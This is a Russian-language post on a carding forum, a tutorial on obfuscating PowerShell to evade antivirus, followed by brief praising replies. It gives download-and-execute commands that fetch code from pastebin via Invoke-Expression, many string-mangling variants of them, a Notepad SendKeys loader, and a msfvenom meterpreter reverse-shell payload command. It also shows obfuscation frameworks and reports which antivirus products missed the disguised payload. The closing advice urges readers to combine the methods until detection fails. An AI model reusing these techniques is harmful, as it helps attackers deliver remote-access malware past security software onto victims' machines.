Привет, гость!

Добро пожаловать на CVVBOARD - крупнейший теневой кардинг форум. У нас Вы сможете найти огромное множество статей по теме кардинга и заработка в интернете. Актуальная информация, новости даркнета, сервисы от проверенных продавцов, эксклюзивные, только рабочие схемы заработка, ежедневные раздачи - все это Вы найдете на нашем форуме! Не пренебрегайте услугами Гарант-Сервиса это убережет Вас от мошенников. Обратите внимание, звание модератора не является гарантом в сделках!

PowerShell в хакинге

Namecard

Опытный user
Регистрация
20 Янв 2022
Сообщения
251
Реакции
12
d4d2c4823fb36708983e4.jpg

Содержание статьи​

  • PowerShell в хакинге
  • Обфускация PowerShell. Прятки с антивирусом
  • Автоматизируем обфускацию
  • DOSfuscation
  • Реакция антивирусов
  • Выводы
В базах антивирусов содержатся миллионы сигнатур, однако трояны по-прежнему остаются в хакерском арсенале. Даже публичные и всем известные варианты полезных нагрузок Metasploit, разновидностей RAT и стиллеров могут остаться незамеченными. Как? Благодаря обфускации! Даже скрипт на PowerShell можно спрятать от любопытных глаз антивируса.

Посмотри на эту строку. Что ты здесь видишь?

;,,C^Md^,; ,^/^C^ ^ ", ( ((;,( ;(s^Et ^ ^ co^M3=^^ /^^an^o)) )))&&,,(,S^Et^ ^ ^cO^m2=^s^^ta^^t)&&(;(;;s^eT^ ^ C^oM1^=^n"^^e"t) ) &&, (( ;c^aLl,^;,S^e^T ^ ^ fi^NAl^=^%COm1^%%c^Om2%^%c^oM3^%))&&; (, ,(c^AlL^, ;,^ ;%Fi^nAl^%) ) "

Полагаю — ничего. А ведь это всего лишь команда netstat /ano после обфускации. В этой статье мы постараемся разобраться, как привести команды на PowerShell к такому виду, и проверим, как на это среагируют антивирусы.



WARNING​

Распространение вредоносного ПО преследуется по закону. Все рассмотренные методы представлены в ознакомительных целях.





PowerShell в хакинге​

Начнем с разговора о самом PowerShell. Почему именно он часто используется при взломе? Ну, как минимум потому, что PowerShell — это командная оболочка и несложный скриптовый язык, который используется во всех современных системах Windows. К тому же большинство команд исполняется в памяти, что может помочь избежать антивирусного детекта. Если на компьютере включено удаленное управление, то можно получить доступ к системе через зашифрованный трафик. Существуют хорошие инструменты и фреймворки для работы с PowerShell. Также PowerShell можно вызывать из других скриптов и файлов .bat, .doc, .xls, .ppt, .hta, .exe, .dll.

С помощью PowerShell можно загружать код из интернета (к примеру, с pastebin.com) или файла на ПК и исполнять его. Для этого используется командлет Invoke-Expression. Вот несколько примеров использования.

Invoke-Expression -Command 'C:\directory\script.ps1'
'C:\directory\script.ps1' | Invoke-Expression
Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Также можно использовать кодировку Base64. Для начала следует закодировать команды в Base64.

[Convert]::ToBase64String( [System.Text.Encoding]::Unicode.GetBytes('Ваш код'))

Перед исполнением нужно будет декодировать их с помощью -EncodeCommand.

powershell -e RwBlAQALQBQAHIAbwBjGUAcwBzAA==
powershell -enc RwBlAHALQBQAHIAbwBjAGUAcwBzAA==
powershell -EncodedCommand RwBAHQALQBAHIAbwBjAGUAcwBzAA==

Есть куча других трюков с PowerShell. Для знакомства с основами и выбора инструментария рекомендую прочитать статью Алексея Панкратова «Выбираем среду разработки на PowerShell и пишем скрипты для Windows».





Обфускация PowerShell. Прятки с антивирусом​

Процесс обфускации PowerShell не такой уж и сложный, так как это скриптовый язык и мы работаем со строками, а не с исполняемым двоичным кодом. Пройдемся по некоторым методам обфускации. Будем рассматривать все на примере этой команды:

Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

INFO​

Обфускация — один из популярных методов обхода сигнатурного анализа.

Для начала попробуем убрать System из строки System.Net.WebClient. На выполнение команды это не повлияет, так как в функциях .NET писать System необязательно.

Invoke-Expression (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Посмотрим, что можно сделать еще. URL в нашей команде — это строка. Что можно делать со строками? Правильно — разделять и властвовать соединять, а вернее, конкатенировать. Попробуем это использовать.

Invoke-Expression (New-Object Net.WebClient).DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Команда отрабатывает точно так же. Теперь попробуем часть команды объявить в виде переменной.

$get = New-Object Net.Webclient;
Invoke-Expression $get.DownloadString('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Все отлично обфусцируется и работает. Идем дальше. Кручу-верчу, запутать хочу! DownloadString, наверное, используется хакерами уже сто лет. Запрячем его и New-Object среди “ и `.

$get = New-Object "`N`et.`W`ebc`l`i`ent";
Invoke-Expression $get."D`o`wn`l`oa`d`Str`in`g"('ht'+'t'+'ps:'+'//'+'pastebin.com/raw/MKM5QLaP')

Неплохо замаскировали. Почти непонятно, что это на самом деле.

1.jpg

Маскировка
А можно ли использовать не DownloadString, а что-то другое для загрузки скрипта или файла? Да! Вашему вниманию представляются методы класса Net.Web-Client:

  • DownloadString
  • DownloadStringAsync
  • DownloadStringTaskAsync
  • DownloadFile
  • DownloadFileAsync
  • DownloadFileTaskAsync
  • DownloadData
  • DownloadDataAsync
  • DownloadDataTaskAsync
  • и другие.
Также можно использовать не Web-Client, а другие классы:

  • System.Net.WebRequest
  • System.Net.HttpWebRequest
  • System.Net.FileWebRequest
  • System.Net.FtpWebRequest
Например, вот как на деле будет выглядеть одна из команд.

IEX (New-Object System.IO.StreamReader ([Net.HttpWebRequest]::Create("$url").GetResponse(). GetResponseStream())).ReadToEnd(); $readStream.Close(); $response.Close()

Продолжим со строками. Перевернем команду задом наперед.

$reverseCmd = ")'PaLQ5MKM/war/moc.nibetsap//:sptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX

Разделим и соединим строку другим способом.

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($cmdWithDelim.Split("~~") -Join '') | IEX

Сделаем замену.

$cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://pastebin.com/raw/MKM5QLaP')";
IEX $cmdWithDelim.Replace("~~","") | IEX

И снова конкатенируем другим способом.

$c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('https://pastebin.com/raw/MKM5QLaP')";
IEX ($c1,$c2,$c3 -Join '') | IEX

Согласись, над командой мы поиздевались неплохо. Посмотрим теперь другие трюки, которые помогут доставить полезную нагрузку с использованием cmd. Есть один очень извращенный метод загрузки удаленных скриптов через блокнот. Но в бою все средства хороши, верно? Подгружаем скрипт File → Open.

2.jpg

Загрузка кода из интернета
И вуаля! Он у нас в блокноте.

3.jpg

Загруженный код
Как это все автоматизировать и использовать? С помощью метода SendKeys объекта WscriptShell, который имитирует нажатие клавиш. Пример подобного скрипта с использованием блокнота представлен ниже.

$wshell = New-Object -ComObject wscript.shell;
$wshell.run("notepad");
$wshell.AppActivate('Untitled - Notepad');
Start-Sleep 2;
$wshell.SendKeys('^o');
Start-Sleep 2;
$wshell.SendKeys(http://pastebin.com/raw/MKM5QLaP);
$wshell.SendKeys('~');
Start-Sleep 5;
$wshell.SendKeys('^a');
$wshell.SendKeys('^c');

Продолжаем играть в прятки. Можно спрятать аргументы команды в родительском процессе. Интересно, проверяют ли антивирусы их?

cmd.exe /c "set cmd=Write-Host SUCCESS -Fore Green&& cmd /c echo %cmd% ^| powershell -"

А нельзя ли использовать не cmd, а что-то другое? Например, в некоторых случаях cmd можно заменить на forfiles. Forfiles — это консольная утилита Windows для операций с файлами.

4.png

Использование forfiles
Также cmd можно вызывать не напрямую, а через переменную %COMSPEC%. Запутываем PowerShell еще больше! В командах вместо знака - можно использовать знак /. Например, вот так:

powershell.exe -nop -noni -enc
powershell.exe /nop /noni /enc

Кажется, намудрили достаточно. Можно еще много обсуждать эти замечательные методы. Кому интересно, еще больше методов найдет в презентациях Даниэля Боханнона (первый PDF и второй). Ну а мы пока что посмотрим на написанные им инструменты, которые упростят обфускацию и сделают все за нас.





Автоматизируем обфускацию​

Первый инструмент — Invoke-Obfuscation. Это фреймворк для обфускации PowerShell, который использует разные методы, в том числе и названные в предыдущем разделе. Загружаем архив, запускаем PowerShell. Переходим в папку фреймворка, меняем политику исполнения, если надо, и запускаем сам фреймворк.

Set-ExecutionPolicy Unrestricted
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

5.png

Фреймворк Invoke-Obfuscation
Для первоначального ознакомления вводи tutorial. Для тестирования будем использовать все ту же команду. Посмотрим необходимые опции и установим нужные (подсвечивается желтым).

show options
set scriptblock Invoke-Expression (New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/MKM5QLaP')

Попробуем использовать конкатенацию. Получаем результат и нашу строку.

7.png

Результат обфускации
Также можно закодировать команду в ASCII, HEX, Octal, Binary, SecureString или BXORencoding. Нагрузку возьмем потяжелее. Например, создадим ее с помощью msfvenom.

msfvenom -p windows/meterpreter/reverse_https --format psh --out xaker.ps1 LHOST=192.168.0.11 LPORT=8080

Попробуем использовать ENCONDING и опцию 6. Получается такая картина.

8.png

Результат обфускации полезной нагрузки
Можно использовать вместе конкатенацию, encoding и compress. Попробуй поиграться с разными вариантами и комбинациями.





DOSfuscation​

Следующий инструмент того же автора — Invoke-DOSfuscation. Скачиваем его, запускаем PowerShell и вводим в папке фреймворка команды

Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

9.png

Invoke-DOSfuscation
Попробуем обфусцировать ту же полезную нагрузку авторства msfvenom. Установим необходимые опции и используем базовую обфускацию.

SET COMMANDPATH c:\xaker.ps1
Forcode
Basic Obfuscation

Получаем нашу замаскированную полезную нагрузку.

10-1.jpg

Результат обфускации с помощью Invoke-DOSfuscation




Реакция антивирусов​

Настало время проверить, как реагируют антивирусы на нашу нагрузку с обфускацией и без. Для теста будем использовать три антивируса: Kaspersky, Eset NOD32, Windows Defender.

Первым в бой идет Kaspersky. Проверяем нашу полезную нагрузку msfvenom в первоначальном виде. KAV даже не дал перейти по ссылке для скачивания файла xaker.ps1!

11.jpg


Но следующие два обфусцированных файла спокойно были запущены, и ничто не препятствовало загрузке. Однако проактивная защита антивируса через некоторое время узнала по поведению, что это наш пейлоад.

Переходим к Eset NOD32 и проверяем файлы в том же порядке. Поразительно, но он не заметил даже необфусцированный файл.

Напоследок проверим при помощи Windows Defender. Он не дал запустить первый файл без обфускации и сразу удалил его. Второй файл запустился спокойно и не был замечен. Третий файл запустился, но во время запуска был обнаружен.

Примечательно, что если конвертировать скрипт в .exe с помощью утилиты Ps2exe, то файлы будут видны большинству антивирусов.





Выводы​

Победу в этой игре принесет знание цели. Если ты знаешь, используется ли антивирус и какой конкретно, то вполне есть шанс обойти его при помощи такого несложного трюка. Также полезно знать версию PowerShell на целевой машине и проверять, не сломался ли файл, на ней же.

Доработать обфускацию ты можешь сам и, комбинируя разные варианты, сделать так, чтобы антивирус точно не распознал поведение. Попробуй все методы и затем комбинируй ручную обфускацию, способы спрятать нагрузку и рассмотренные фреймворки на модели целевой машины. Обязательно должно получиться что-то уникальное, что пройдет мимо носа антивируса. В конце концов, все ограничено только твоей фантазией!

INFO​

В статье для тебя запрятано небольшое послание. Попробуй найти его!
 
  • Нравится
Реакции: Memo

CCBrut

Опытный user
Регистрация
1 Окт 2021
Сообщения
188
Реакции
17
Что за послание интересно,не могу найти)
 

Memo

Интересующийся
Регистрация
18 Апр 2023
Сообщения
63
Реакции
2
Мануал вообще бомба,лайк
 

GrishkaLeps

Опытный user
Регистрация
13 Ноя 2021
Сообщения
625
Реакции
12
Ели дочитал, хорошая статья спасибо.
 

LehaMirnbiy

Опытный user
Регистрация
5 Авг 2021
Сообщения
671
Реакции
14
Полезно, не зря читал.
 

BendrickGood

Опытный user
Регистрация
9 Июл 2021
Сообщения
712
Реакции
16
Много букв, лень читать
 

DarkFox

Опытный user
Регистрация
29 Авг 2021
Сообщения
119
Реакции
1
отличная статья
 

TRIP0LY

Непроверенный
Регистрация
18 Авг 2023
Сообщения
10
Реакции
0
Офигеть! Спасибо
 
Сверху Снизу